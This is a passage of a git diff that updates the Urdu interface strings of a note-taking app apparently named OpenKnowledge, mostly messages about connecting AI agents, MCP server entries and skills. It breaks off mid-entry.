src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsxmsgid "Your edits are committed and pushed to your remote automatically."diff --git a/packages/app/src/locales/ur/messages.json b/packages/app/src/locales/ur/messages.jsonindex de4af0181..36ec8d6f7 100644--- a/packages/app/src/locales/ur/messages.json+++ b/packages/app/src/locales/ur/messages.json@@ -59,7 +59,6 @@"03wKPg": ["رپورٹ ہمیں وجہ جاننے میں مدد دیتی ہے۔ آپ کے جائزے سے پہلے کچھ نہیں بھیجا جاتا۔"],"04JR6L": ["اپنے AI ٹولز منسلک کریں"],"04RA0-": ["مطابقت پذیری فعال نہیں ہو سکی — ", ["detail"]],- "04XyCH": [["0"], " میں منظم بلاک شامل کرتا ہے"],"05F1GY": ["اصل متن حذف کر دیا گیا تھا۔ آپ اس تبصرے کو منتخب متن پر دوبارہ رکھ سکتے ہیں۔"],"05n5wS": ["دستاویز کے ذکر کی تجاویز"],"06SZfb": ["ٹیمپلیٹ «", ["trimmedTitle"], "» بن گیا"],@@ -154,6 +153,7 @@"1DahsC": ["ترتیبات تلاش کریں"],"1EcCom": [["keyName"], " کی قدر"],"1FLarN": ["جاری رکھنے کے لیے بیان کریں کہ آپ کیا بنانا چاہتے ہیں"],+ "1FXL-O": ["اسے سیٹ اپ نہیں کیا جا سکا کیونکہ اس کے لیے درکار MCP سرور اندراج نہیں لکھا گیا۔"],"1GhYxC": [["totalPages"], " میں سے"],"1HBhDS": ["فائلیں چیک آؤٹ کی جا رہی ہیں"],"1J0c0X": [["displayName"], " تک اب بھی رسائی نہیں ہو سکی۔ ایک بار اور کوشش کریں؟"],@@ -233,11 +233,16 @@"2YOwme": ["دوبارہ چل پڑا — اب v", ["appRuntime"], " چل رہا ہے۔"],"2YZwPB": ["باہر جانے والے لنکس کا جواب متوقع ساخت سے میل نہیں کھایا۔"],"2Yt22K": ["اصل چھپائیں"],+ "2gXnCO": ["گلوبل MCP سرور"],"2hYmUH": ["[email protected]"],"2hpdRq": ["پینل چھپائیں (", ["panelShortcutLabel"], ")"],"2j1kfc": ["درست URL درج کریں (مثلاً https://api.openai.com/v1)۔"],"2jUGEP": ["مہارت کی تنصیبات عوامی طور پر شمار کریں"],"2l293S": ["آپ اس فائل کو ری سائیکل بن سے بحال کر سکتے ہیں۔"],+ "2lJAvH": [+ ["label"],+ " کی ٹرمینل اور ڈیسک ٹاپ قطاریں ایک ہی ترتیب استعمال کرتی ہیں، اس لیے اسے ہٹانے سے دونوں کا رابطہ منقطع ہو جائے گا۔"+ ],"2m_bmh": [["label"], " (", ["0"], ")"],"2myNzt": ["ہم نے اسے ٹیم کے پاس درج کر دیا ہے اور آپ کے لاگز منسلک کر دیے ہیں۔"],"2n3oDU": [@@ -326,6 +331,9 @@"3l_cXP": ["چاہیں تو دیکھ لیں۔ ہمیں بالکل یہی فائل ملتی ہے۔"],"3m2GBo": ["دستاویزات تلاش کی جا رہی ہیں"],"3mFsc3": ["ریموٹ تبدیلیوں کے ساتھ بحال کریں"],+ "3n7lnE": [+ "اس مشین پر اس ایجنٹ کی اس قسم کی کوئی فائل ابھی موجود نہیں۔ ایجنٹ کو ایک بار کھولیں، پھر دوبارہ جانچیں۔"+ ],"3nICSW": ["<0>",["toolList"],@@ -356,6 +364,13 @@],"4A3Yzu": ["کوڈ بلاک"],"4BITzH": ["خرابی:"],+ "4C2RCg": [+ "یہ سیٹ اپ ",+ ["peers"],+ " کے ساتھ مشترک ہے۔ اسے یہاں ہٹانے سے یہ ",+ ["peers"],+ " کے لیے بھی ہٹ جاتا ہے۔"+ ],"4CfgPM": ["پروجیکٹ کا فولڈر بن گیا، مگر git init ناکام رہا۔ دوبارہ کوشش کریں۔"],"4E9jPa": ["اپنا پہلا پروجیکٹ بنائیں"],"4EZrJN": ["قواعد"],@@ -396,6 +411,7 @@["0"],"» کو ہر دوسرے مقام سے ہٹا دیا گیا — اس کا ماخذ فولڈر اب بھی لوڈ ہوتا ہے"],+ "4sE6E9": ["معلوم نہیں ہو سکا کہ کون سے ٹولز منسلک ہیں۔"],"4sKwf6": ["فائل پہلے سے موجود ہے"],"4sUdTJ": ["تھیم والا پیش منظر"],"4uNLmk": ["کھینچا جا رہا ہے"],@@ -426,6 +442,7 @@"5BlXTD": ["ورژن کا پیش منظر لوڈ نہیں ہو سکا۔ آپ اب بھی نیچے سے حل کا طریقہ منتخب کر سکتے ہیں۔"],+ "5CHuXn": [["0"], " کو ", ["1"], " درکار ہے۔ دونوں کو بند کریں، یا دونوں کو آن رکھیں۔"],"5ClEAu": ["دستاویزات کے آر پار گروپ بندی کے لیے اِن لائن ہیش ٹیگ۔"],"5D3Ior": ["فولڈر چھپائیں"],"5F5HYj": [["ahead"], " آگے، ", ["behind"], " پیچھے"],@@ -444,6 +461,9 @@"5OqaJi": ["پروجیکٹ کا نام درج کریں"],"5PHgV2": ["آپ ٹرمینل سے <0>ok bug-report</0> کے ذریعے بھی ایک بنا سکتے ہیں۔"],"5QGTaA": ["نسبتی راستہ نقل نہیں ہو سکا"],+ "5RiC8D": [+ "دریافتی اسکلز کا انتظام تمام AI ٹولز کے لیے ایک ساتھ کیا جاتا ہے۔ اسے ترتیبات میں مہارت اسٹوڈیو سے انسٹال کریں۔"+ ],"5SwVv1": ["نصب نہیں"],"5Szq6N": ["اس اینڈ پوائنٹ نے آپ کا مقرر کردہ ویکٹر حجم نظر انداز کر دیا۔ ماڈل کا اپنا حجم استعمال کرنے کے لیے <0>search.semantic.dimensions</0> ہٹا دیں۔"@@ -608,6 +628,12 @@"7IsvrP": ["اپ ڈیٹس دیکھے جا رہے ہیں"],"7JtSLi": ["راستہ حذف نہیں ہو سکا"],"7MSbAT": ["میں دستیاب"],+ "7Ny8bV": [+ ["dependent"],+ " کو ",+ ["prerequisite"],+ " درکار ہے، اور OpenKnowledge کو اس مشین پر یہ ایجنٹ نہیں ملا۔"+ ],"7O7REc": [["0"], " بحال نہیں کیا جا سکا۔ دوبارہ کوشش کریں۔"],"7OhaRy": ["سورس کی تلاش"],"7Ongq0": ["میری AGENTS.md فائل کو 40 ہزار حروف سے کم کر دیں"],@@ -733,6 +759,9 @@"8uGMP8": ["پوشیدہ مواد یہاں آتا ہے۔"],"8vCZcs": ["فائل نہیں کھل سکی۔"],"8vETh9": ["دکھائیں"],+ "8wwkVu": [+ "OpenKnowledge کے لکھنے کے بعد یہ اندراج تبدیل ہو گیا۔ اسے آن کرنے سے یہ بدل جائے گا۔"+ ],"8x6zk9": [["0"], " ایڈیٹر چھپائیں"],"9-lMCF": [["slot"], " رنگ — ", ["0"]],"90-wKT": ["OpenKnowledge نے ", ["subject"], " کی تاریخ پڑھی"],@@ -858,7 +887,6 @@"AYoYhU": ["اپ ڈیٹ ناکام: ", ["0"]],"AaC-CE": ["خالی بورڈ"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["حسبِ ضرورت open-knowledge اندراج — OpenKnowledge کے زیرِ انتظام نہیں"],"AdcGcG": ["آپ کی تبدیلی لاگو کی جا رہی ہے"],"AddR83": ["پروجیکٹ نہیں بنایا جا سکا۔ دوبارہ کوشش کریں یا کوئی مختلف مقام منتخب کریں۔"],"AeHuzT": ["# ہر سطر پر ایک پیٹرن۔\n# مثالیں:\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -883,6 +911,7 @@"AkA6DO": [["0"], " پلگ اِن کا حصہ — صرف پڑھنے کے لیے؛ نقل میں ترمیم کے لیے اسے کھولیں"],"Al8HPP": ["کنفلکٹ ", ["0"], " کے لیے موجودہ ورژن قبول کریں"],"Am78jY": ["ترتیب بدلنے کے لیے ", ["keyName"], " کھینچیں"],+ "ApNWRQ": [["0"], " سے OpenKnowledge ہٹائیں؟"],"ApeA0n": [["docName"], " پر ", ["dropCount"], " ترامیم واپس لے لی گئیں"],"Aq-O0x": ["حالت"],"AqnqMJ": ["API کلید مقرر ہے"],@@ -920,6 +949,9 @@"BGtzlf": [["uploadFolderName"], " — 1 فائل"],"BH56dn": ["حسبِ ضرورت ظاہری متن"],"BKI4hX": ["فائل میں تلاش کریں"],+ "BMoSQy": [+ "یہ ایجنٹ OpenKnowledge کو آپ کی جانب سے یہ ترتیب دینے کا کوئی طریقہ نہیں دیتا۔ اس کی سیٹ اپ گائیڈ میں دستی مراحل موجود ہیں۔"+ ],"BOsvJ8": ["<0>ok</0> بیرونی ٹرمینلز میں اس وقت تک نہیں چلے گا جب تک آپ اسے بعد میں فائل مینو سے شامل نہ کریں۔ آپ کے AI ٹولز کام کرتے رہیں گے۔"],@@ -993,11 +1025,7 @@"CU3AiE": ["برانچیں بدلی جا رہی ہیں"],"CUmCwI": ["نیچے قطار داخل کریں"],"CWjM1r": ["براہِ راست ", ["0"], "/ میں موجود دستاویزات"],- "CWzc2T": [- "<0>~/.ok/bin</0> اور <1>~/.ok/env.sh</1> دونوں صورتوں میں رہتے ہیں — ایپ ہمیشہ ان کی دیکھ بھال کرتی ہے۔"- ],"CXDYfm": ["یہ نہیں پڑھا جا سکا کہ اس پروجیکٹ کی مہارت نصب ہے یا نہیں۔"],- "CXTwen": ["اس پروجیکٹ کی کنفیگ محفوظ طریقے سے ترمیم نہیں کی جا سکتی"],"CXcveY": ["Open Knowledge ہر فولڈر میں index.md نامی ایک نیویگیشن فائل کو برقرار رکھتا ہے جس میں Markdown ہوتا ہے، ہر ایک فولڈر کے دستاویزات کو ٹائپ اور اس کے ذیلی فولڈرز سے لنک کرکے درج کرتا ہے۔ یہ ان فائلوں کو دوبارہ لکھتا ہے جیسے آپ کی دستاویزات تبدیل ہوتی ہیں، اور جو کچھ بھی آپ خود ان میں ترمیم کرتے ہیں اسے تبدیل کر دیا جاتا ہے۔"],@@ -1029,9 +1057,9 @@"Git پروجیکٹس میں، Open Knowledge ریپوزٹری کی روٹ .gitattributes فائل میں محدود دائرۂ کار کا اصول شامل کرتا ہے تاکہ بیک وقت انڈیکس کی تبدیلیاں یکجا ہو سکیں۔"],"CxVk-w": [["address"], " پر تبصرہ"],+ "CxnZP4": ["منتخب کریں کہ OpenKnowledge کیا سیٹ اپ کرے۔"],"Cz-K13": ["15 منٹ"],"D-NlUC": ["سسٹم"],- "D-Oh1s": [["0"], " کیسے ترتیب دیں (براؤزر میں کھلتا ہے)"],"D-_B7l": ["منسلک — یہ اینڈ پوائنٹ ", ["0"], " ابعاد والے ویکٹرز لوٹاتا ہے۔"],"D0CegO": ["اس نام کی ایک دوسری مہارت موجود ہے — مکمل انتظام کے لیے اس کا نام بدلیں (یا ایک کو حذف کریں)۔"@@ -1039,6 +1067,9 @@"D12vtS": ["(منقطع)"],"D2emTw": ["آپ کی رائے بھیجتے ہوئے کچھ غلط ہو گیا۔ براہِ کرم دوبارہ کوشش کریں۔"],"D4H2N6": [["tag"], " ہٹائیں"],+ "D4I0F9": [+ "منتخب کریں کہ ایپ کے ایجنٹ مینیوز میں کون سے ایجنٹ نظر آئیں، اور انہیں اس طرح ترتیب دیں کہ وہ آپ کی دستاویزات پڑھ اور اپ ڈیٹ کر سکیں۔"+ ],"D7gKrd": ["OpenKnowledge .ok/local/terminal کے تحت لانچ کی ترتیبات نہیں لکھ سکا کیونکہ فولڈر اس پروجیکٹ کے اندر محفوظ طور پر موجود نہیں ہے۔ تصدیق کریں کہ یہ پروجیکٹ کے اندر ایک حقیقی فولڈر ہے، لنک نہیں۔ Claude آپ سے OpenKnowledge کو منظور کرنے کے لیے کہے گا۔"],@@ -1126,6 +1157,7 @@"E1_c72": ["کاموں کی فہرست"],"E1tG2u": ["Claude Code حاصل کریں"],"E2Mv-X": ["سورس نقل کریں"],+ "E35Meh": [["rowLabel"], " ہٹائیں"],"E4XYYH": ["اس پروجیکٹ کے لیے ٹرمینل فعال کریں"],"E5WeIy": ["حال ہی میں بند کیا گیا ایڈیٹر ٹیب دوبارہ کھولیں۔"],"E6lrpp": [@@ -1135,7 +1167,9 @@"E91VZY": ["نئی ونڈو میں کھولیں"],"E9bKSA": ["بنایا جا رہا ہے"],"E9gh86": ["آپ زیادہ سے زیادہ ", ["MAX_ATTACHMENTS"], " تصاویر منسلک کر سکتے ہیں۔"],+ "EBP_hA": ["اس پروجیکٹ کی ایجنٹ کنفیگریشن میں OpenKnowledge MCP کا اندراج شامل کرتا ہے۔"],"EBVbtP": ["آئٹم کی نقل نہیں بنائی جا سکی"],+ "EDD3UL": ["اس مشین پر شناخت نہیں ہوا"],"EDl9kS": ["رکن بنیں"],"EDm3wJ": ["فرق کا رینڈرر لوڈ ہو رہا ہے"],"EEYbdt": ["شائع کریں"],@@ -1227,6 +1261,7 @@"EvPX7f": ["ریپازٹری کہاں کلون کرنی ہے، یہ منتخب کرنے کے لیے فولڈر منتخب کنندہ کھولتا ہے۔"],"EvXKHE": ["OpenKnowledge نے نالج بیس میں تلاش کیا"],"Evq3lu": ["یتیم موڈ"],+ "Evsh6U": ["آپ کی دستاویزات میں کوئی تبدیلی نہیں کی جائے گی۔"],"ExPiRQ": ["CodeMirror کی اگلی لِنٹ تشخیص پر جائیں۔"],"ExUzM4": ["مہارت «", ["0"], "»"],"F-1xhe": ["اس پروجیکٹ کا سرور اس ونڈو سے مختلف برانچ پر ہے — مواد لوڈ نہیں ہو سکتا۔"],@@ -1258,7 +1293,6 @@"FEqWFL": ["آپ کے AI ایجنٹس کو رہنمائی دیتا ہے کہ یہاں کیسے کام کریں۔"],"FEr96N": ["تھیم"],"FF7V5K": ["اصل حجم"],- "FK57sK": [["names"], " کا MCP انٹیگریشن درست کر دیا گیا"],"FKVmcC": ["اس پروجیکٹ کی ترتیبات۔ کچھ git کے ذریعے ہر ساتھی کے ساتھ مشترک ہوتی ہیں؛ باقی صرف اسی کمپیوٹر پر لاگو ہوتی ہیں۔"],@@ -1355,6 +1389,12 @@"کوئی بھی .mdx فائل۔ فارمیٹ صرف .md ہے، لہذا .md کے لئے اسکین کرنے والا ریڈر اسے کبھی نہیں کھولتا ہے — اور اگر اسی نام کا .md موجود ہے تو اس کی بجائے اسے پڑھتا ہے۔"],"GSYWCm": ["دستاویز کا پینل چھپائیں"],+ "GTvYzA": [+ ["dependent"],+ " کو ",+ ["prerequisite"],+ " درکار ہے، جسے OpenKnowledge آپ کے لیے سیٹ اپ نہیں کر سکتا۔ اس کی سیٹ اپ گائیڈ میں دستی مراحل موجود ہیں۔"+ ],"GU1Y4A": ["صرف مقامی کی درخواست کی گئی تھی، مگر کوئی git ریپوزٹری نہیں بنی۔ پروجیکٹ کے git ریپوزٹری میں آنے کے بعد آپ ترتیبات ← مطابقت پذیری اور اشتراک سے یہ بدل سکتے ہیں۔"],@@ -1420,6 +1460,11 @@],"H86f9p": ["سکیڑیں"],"H8DVOJ": ["دونوں میں ایک جیسی ہیں — ", ["pick"], " پھر بھی انہیں پڑھتا رہے گا۔"],+ "H8tj8y": [+ "یہ سیٹ اپ ",+ ["peers"],+ " کے ساتھ مشترک ہے، اور OpenKnowledge اسے یہاں سے تبدیل نہیں کر سکتا۔ پہلے Skills Studio میں فولڈر کو ان لنک کریں۔"+ ],"HAkEqR": ["حالیہ فائلیں"],"HAvHev": ["«", ["name"], "» کے لیے خودکار اپ ڈیٹ بند"],"HAvRAI": [["skillCount", "plural", { "one": ["مہارت"], "other": ["مہارتیں"] }]],@@ -1436,9 +1481,6 @@"Slidev انسٹال نہیں ہے، اس لیے Slidev ایکشن پوشیدہ رہتا ہے۔ اسے انسٹال کریں، پھر اس ونڈو پر واپس آئیں۔"],"HSI88F": ["ٹیبل حذف کریں"],- "HTW0Zw": [- "ایک اور مرحلہ: اس پروجیکٹ میں <0>claude</0> چلائیں اور ایک بار OpenKnowledge کو منظور کریں۔"- ],"HZ7fEu": ["تھیم کا نام"],"HbcQYf": ["کیا ",@@ -1635,6 +1677,7 @@"KPW5WC": ["ٹیمپلیٹ منتقل کیا"],"KQGZuq": ["اگر پہلے سے موجود ہو تو دوبارہ استعمال ہوتا ہے، ورنہ بن جاتا ہے۔"],"KRJ6xh": ["ابھی کوئی ٹیگ نہیں۔ ایک بنانے کے لیے لکھتے رہیں۔"],+ "KTxoDA": ["OpenKnowledge اس اندراج کو نہیں پہچانتا۔ اسے آن کرنے پر یہ تبدیل ہو جائے گا۔"],"KUjOb9": ["چل رہا ہے"],"KWL_Ih": ["بلاگ پوسٹ"],"KX1MZR": ["آپ کی ریپازٹریز"],@@ -1670,6 +1713,7 @@"KsAPaB": ["یہ برانچ یہاں چیک آؤٹ ہے:"],"KtACeE": ["طے شدہ: <0>", ["0"], "</0>"],"KujtjC": ["تلاش"],+ "Kuw5NN": [["rowLabel"], " کو ترتیب کیسے دیں"],"KvwJv8": ["کچھ فائلیں فہرست میں نہیں ہیں: ورکنگ ٹری میں بہت زیادہ تبدیلیاں ہیں۔"],"Kx881F": [["0"], " بحال کر دیا گیا۔"],"L-rMC9": ["طے شدہ پر واپس کریں"],@@ -1731,7 +1775,6 @@"L_mqhg": ["(", ["0", "plural", { "one": ["#", " کوشش"], "other": ["#", " کوششیں"] }], ")"],"LaskKp": ["چیٹ میں بھیجیں (", ["0"], ")"],"Lbl6KA": [["0"], " سے نصب نہیں ہو سکا: ", ["1"]],- "LbmLyU": ["اس ٹول کی کنفیگ محفوظ طریقے سے ترمیم نہیں کی جا سکتی"],"LdABLa": [["target"], " نہیں کھل سکا۔ اسے دستی طور پر کھولنے کی کوشش کریں۔"],"LdKIHS": ["ایک اسپیک لکھیں"],"LeGeTf": ["GitHub پر OpenKnowledge"],@@ -1758,6 +1801,7 @@"Lrsl_h": ["غائب فائل ", ["identity"], "۔ حوالہ پر جائیں۔"],"LtI9AS": ["مالک"],"LtSYdi": ["Finder میں دکھائیں"],+ "LtiJ5c": ["پروجیکٹ اسکل"],"LuoJWu": [["truncatedShownCount",@@ -1879,9 +1923,6 @@"NIWAux": ["#", ["tagDocsName"], " کے تحت کوئی دستاویز رجسٹرڈ نہیں۔"],"NJyQi_": ["برانچ ", ["shareBranch"], " اب ریموٹ پر موجود نہیں۔"],"NKkZXl": ["ابتدائیہ کریں اور کھولیں"],- "NNJsn7": [- "ایک اور مرحلہ: اسے Cursor ← ترتیبات ← ٹولز اور MCP میں فعال کریں (Cursor پروجیکٹ کے سرورز اس وقت تک بند رکھتا ہے جب تک آپ انہیں فعال نہ کریں)۔"- ],"NOHyEE": ["پُش دوبارہ آزمائیں"],"NORKZU": ["پیٹرن کے انتباہات: ", ["summary"]],"NQ8llq": ["آئٹم شامل کریں"],@@ -1941,7 +1982,6 @@"O0Z2Xr": ["جانے والے"],"O2UpM1": ["براؤز کریں"],"O3oNi5": ["ای میل"],- "O4PnDd": ["AI ٹولز کا انتظام صرف OpenKnowledge ڈیسک ٹاپ ایپ میں دستیاب ہے۔"],"O6H89R": ["حل شدہ"],"O6yEPk": ["اپنی پسند کے فولڈر میں نیا OpenKnowledge پروجیکٹ بنائیں۔"],"O7_W_a": ["AI کے ساتھ کھولیں"],@@ -2006,7 +2046,6 @@"OlFVNr": ["منتخب حصے کے بارے میں AI سے پوچھیں"],"Oo_WWc": ["کوئی صفحہ نہیں ملا"],"Oos8fo": ["کمانڈ نقل کریں"],- "OplnBG": ["اس بلڈ میں AI ٹولز کا انتظام دستیاب نہیں۔"],"OqqecQ": ["30 سیکنڈ"],"OsSaYm": ["کلون ناکام: ", ["title"]],"OuQezS": ["جب آپ یہ گفتگو دوبارہ شروع کریں گے تو لاگو ہوگا"],@@ -2034,6 +2073,10 @@"P6gXB-": [["keyName"], " تبدیل کریں"],"P6lAT3": ["فولڈر کا ہدف: ", ["linkTitle"], "۔ جائزہ کھولنے کے لیے کلک کریں۔"],"P8AnMN": ["Slidev تلاش کیا جا رہا ہے"],+ "P9rQN2": [+ ["label"],+ " کی ٹرمینل اور ڈیسک ٹاپ قطاریں ایک ہی ترتیب استعمال کرتی ہیں، اس لیے کسی ایک کو منسلک کرنے سے دونوں منسلک ہو جاتی ہیں۔"+ ],"PB4upl": ["پچھلی مماثلت تلاش کریں"],"PBQwGb": ["فائلیں، کمانڈز، پروجیکٹس اور AI منتقلی کے اعمال تلاش کریں۔ بصری ایڈیٹر میں متن منتخب ہونے پر K شارٹ کٹ اس کے بجائے لنک شامل کرتا ہے؛ P شارٹ کٹ ہمیشہ کمانڈ پیلیٹ کھولتا ہے۔"@@ -2130,6 +2173,7 @@"QDZbvN": [["diffDays"], " دن پہلے"],"QGWzup": ["OpenKnowledge مہارتیں لوڈ ہو رہی ہیں"],"QHCx0c": ["بگ رپورٹ کی تاریخ"],+ "QHcLEN": ["منسلک"],"QIrBIx": ["سب فائلیں پھیلائیں"],"QIzioS": [["agentName"], " تصویری منسلکات قبول نہیں کرتا۔"],"QKgePK": [["editor"], " کو ماخذ سے ہم آہنگ کر دیا گیا (اس کے بائٹس کا بیک اپ محفوظ ہے)"],@@ -2201,6 +2245,7 @@"RD6H9q": ["Open Knowledge ان index.md فائلوں کو دوبارہ لکھتا ہے جیسے ہی دستاویزات میں تبدیلی آتی ہے، لہذا ان میں دستی ترامیم تبدیل کردی جاتی ہیں۔"],+ "RD8cCw": ["اس بلڈ میں ایجنٹ کنکشنز کا انتظام دستیاب نہیں ہے۔"],"RDjuBN": ["سیٹ اپ"],"RDrXh4": ["صارف، پروجیکٹ اور انضمام کی ترتیبات مقرر کریں۔"],"REkvLz": [@@ -2233,6 +2278,7 @@"RSqaSd": ["پروجیکٹ کی جڑ"],"RVZJWQ": ["پروجیکٹس تلاش کریں..."],"RXEbZy": ["ایپ میں"],+ "RXYvxn": ["یہ آپشن خودکار طور پر تبدیل نہیں کیا جا سکتا۔"],"RY6Bq1": ["مشترکہ ", ["targetNoun"], " کھولیں"],"RZXTlY": ["خودکار اصلاح (", ["count"], ")"],"R_U_A4": ["فائل یا فولڈر کا پیٹرن شامل کریں، مثلاً guides/**/*"],@@ -2277,6 +2323,9 @@"S33tz3": ["منسلک نہیں"],"S3qu11": ["یہ ایک آزمائشی یا ایک بار کا پروجیکٹ تھا"],"S48xcO": ["زیرِ التوا"],+ "S6SbxA": [+ "اس فائل میں موجود \"open-knowledge\" اندراج کو تبدیل کرتا ہے۔ فائل کے دیگر سرورز میں کوئی تبدیلی نہیں ہوتی۔"+ ],"S6eHlw": ["پہلے کوئی پروجیکٹ کھولیں۔"],"S6l5dv": ["نیا آئٹم بنانا شروع نہیں ہو سکا"],"S9Vnum": [["patternText"], " ہٹائیں"],@@ -2521,7 +2570,6 @@"VFQXPl": ["بیرونی لنکس کے پیش منظر لنک پر ماؤس لے جانے پر سائٹ کا نام، صفحے کا عنوان اور تفصیل والا کارڈ دکھاتے ہیں۔"],- "VIwCaD": ["اندراج"],"VJaBca": ["مہارت کا فولڈر منتخب کریں"],"VL6VsE": ["موجودہ قبول کریں"],"VM7H66": ["یہ فائل بائنری ہے اور متن کے طور پر نہیں دکھائی جا سکتی۔"],@@ -2588,6 +2636,7 @@"W9NSe0": ["لنکس کی جانچ ہو رہی ہے"],"W9_Bub": ["مقامی تبدیلیاں آنے والی مطابقت پذیری سے ٹکراتی ہیں"],"WBNpt9": ["یہ تھیم پڑھی نہیں جا سکی (", ["0"], ")"],+ "WEYdDv": ["تجویز کردہ"],"WFEbV1": ["ایڈیٹر میں Markdown کے عام مسائل نشان زد کریں۔ <0>markdownlint<1/></0> سے تقویت یافتہ۔"],@@ -2661,19 +2710,19 @@"XBBZnv": ["لنک کا ہدف \"", ["shown"], "\" کسی موجودہ دستاویز کی طرف اشارہ نہیں کرتا۔"],"XBgr2S": ["یہاں کاپی کریں"],"XDzAnp": ["نئے ٹیب میں کھلتا ہے"],- "XEfNPL": [- "نصب شدہ — ok بیرونی ٹرمینلز میں دستیاب ہے۔ نشان ہٹانے سے یہ ہٹ جائے گا؛ آپ کے AI ٹولز کام کرتے رہیں گے۔"- ],"XF1kgP": [["source"], " سے سب کچھ پہلے ہی اپ ڈیٹ ہے"],- "XFpEgc": [- "منتخب کریں کہ ایپ کے ایجنٹ مینیوز میں کون سے ایجنٹ نظر آئیں، جیسے Ask AI، Open with AI اور + نئی چیٹ کا بٹن۔ کسی ایجنٹ کو بند کرنے سے وہ ان سب سے چھپ جائے گا۔"- ],"XGKy1z": ["تصویر دکھائی نہیں جا سکی"],"XH30C4": ["دستاویز"],"XIltnd": ["«", ["trimmed"], "» نام کی مہارت یہاں پہلے سے موجود ہے"],"XJOV1Y": ["سرگرمی"],"XK5cbh": ["OpenKnowledge کی نیویگیشن تاریخ میں آگے جائیں۔"],"XNBGZw": ["پیغام نہیں بھیجا گیا: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " کو ",+ ["prerequisite"],+ " درکار ہے، اور اس مشین پر اس ایجنٹ کی اس قسم کی کوئی فائل ابھی موجود نہیں۔ ایجنٹ کو ایک بار کھولیں، پھر دوبارہ کوشش کریں۔"+ ],"XPJ0sN": [["settingsDescriptorLabel"], " کی خصوصیات"],"XPqe3B": ["نیا ٹیگ #", ["tagValue"], " بنائیں"],"XRuL0i": ["صفحہ بنائیں"],@@ -2727,6 +2776,12 @@"Xp7Kq4": ["ایک اور مطابقت پذیری جاری ہے۔ تھوڑی دیر بعد دوبارہ کوشش کریں۔"],"Xp94R1": ["ایک بار اور کوشش کریں"],"XpIZmv": ["یکساں چوڑائی والے متن کے ساتھ باڑ والا کوڈ بلاک۔"],+ "XrPvMT": [+ ["dependent"],+ " کو ",+ ["prerequisite"],+ " درکار ہے، اور OpenKnowledge اس فائل کے فارمیٹ میں اس اندراج کو محفوظ طریقے سے تبدیل نہیں کر سکتا۔"+ ],"Xs1kjx": ["اپ ڈیٹس دیکھنے کا وقفہ"],"Xs7IcT": [["displayName"], " تک رسائی نہیں ہو سکی۔ دوبارہ کوشش کریں؟"],"XszXjc": ["نام بدل کر ", ["0"], " کر دیا گیا"],@@ -2746,6 +2801,7 @@["pickedRelative"],"</1> کا والد ہے کیونکہ اس میں <2>.git</2> فولڈر ہے (ہر git ریپو کے لیے ایک .ok/)۔ <3>مواد کی ڈائریکٹری</3> طے شدہ طور پر <4>.</4> ہوتی ہے (پورا ریپو)؛ اسے محدود کرنے کے لیے کوئی ذیلی فولڈر لکھیں۔"],+ "Y1wa2r": ["OpenKnowledge ہٹائیں؟"],"Y2tU6I": [["0"], " حذف کریں"],"Y5la_5": ["یہاں نصب کریں"],"Y6PKd1": [["name"], " کو حالیہ پروجیکٹس سے ہٹائیں"],@@ -2872,9 +2928,6 @@"ZWwYwM": ["بنیادی برانچ"],"ZWxfrc": ["فولڈر کی خصوصیات صاف کیں"],"ZWyHmq": ["یہ پروجیکٹ"],- "ZYtq3m": [- "اپنے استعمال کے AI ٹولز کو اسی مخصوص پروجیکٹ سے منسلک کریں۔ یہ فائلیں پروجیکٹ کے فولڈر میں رہتی ہیں، اس لیے جو بھی اسے کھولے اسے وہی سیٹ اپ ملتا ہے۔"- ],"Z_nNa2": ["اپنی تھیم کا نام رکھیں"],"ZatAO_": ["لنکس کے پیش منظر فعال نہیں ہو سکے — ", ["detail"]],"Zf0w-R": [@@ -2920,7 +2973,6 @@["label"]," پلگ اِن کی بجائے استعمال کرتا ہے — وہ نقل پلگ اِن کی تازہ کاریوں کی پیروی چھوڑ دیتی ہے۔"],- "_5qBNl": ["AI ٹولز اور CLI"],"_6FVBz": ["ٹیب 1-8 پر جائیں"],"_7UQ7y": ["پورا لفظ"],"_8quCH": ["ٹیمپلیٹ سے"],@@ -2933,6 +2985,7 @@["currentLabel"],"</1> پر ہیں۔"],+ "_9rYSZ": [["names"], " کا MCP انٹیگریشن درست کر دیا گیا"],"_Bix3-": [["localizedFirstMessage"], " کے واقعات"],"_DwR-n": ["بنائی جا رہی ہے…"],"_G7A92": ["برقرار رکھیں index.md"],@@ -2944,7 +2997,6 @@"_JOGC0": ["رائے بھیجیں…"],"_LczaQ": ["مسترد — ", ["optionName"]],"_NWEid": ["اسکیما فائلیں راستے سے تلاش کریں"],- "_NX6gG": ["اس بلڈ میں پروجیکٹ کے AI ٹولز کا انتظام دستیاب نہیں۔"],"_O7dJS": ["یہاں مختلف ورژن ہے — موازنے اور حل کے لیے کلک کریں"],"_PACVa": ["ریلیز نوٹس"],"_PBJRl": ["کم از کم ایک حرف یا عدد شامل کریں۔"],@@ -2972,6 +3024,9 @@"_ci9Bj": ["سرور نے نامکمل فولڈر جواب بھیجا۔"],"_eguJc": ["اپ لوڈ کیا جا رہا ہے"],"_fQGOp": ["پاتھ میں اسپیس کی اجازت نہیں ہے"],+ "_fZSIY": [+ "OpenKnowledge نے اس فائل کو تبدیل نہیں کیا کیونکہ وہ اسے محفوظ طریقے سے پارس نہیں کر سکا۔ فائل کو خود درست کریں، پھر دوبارہ کوشش کریں۔"+ ],"_gO_m8": ["آپ کی منظوری کا انتظار ہے"],"_gkGSK": ["ٹیمپلیٹ حذف کیا"],"_pY_Vq": ["ریپازٹری منتقل ہو گئی، اس کا نام بدل گیا، یا وہ حذف ہو گئی۔"],@@ -2979,6 +3034,7 @@"_rP3HI": [["minutes"], " منٹ پہلے"],"_tekeB": ["فولڈر کی خصوصیات تازہ کیں"],"_tjopj": ["نقل چسپاں کریں"],+ "_uxBz5": [["rowLabel"], " کے لیے MCP اور اسکل شامل کریں"],"_yB-24": ["کسی بھی ", ["0"], "/ فولڈر کے تحت سب کچھ"],"a-cKXz": ["پورا سورس منتخب کریں"],"a3LDKx": ["سیکیورٹی"],@@ -3102,6 +3158,7 @@"» کا مقامی اشتراکی ڈیٹا صاف کیا جا رہا ہے۔"],"bnOTEz": ["حاصل کیا جا رہا ہے…"],+ "bn_MDX": ["اس پر توجہ کیوں درکار ہے"],"bpMVIA": ["لنک کے ہدف \"",["shown"],@@ -3230,6 +3287,7 @@"d3dX3w": ["\"", ["word"], "\" تلاش کریں"],"d5rK4X": 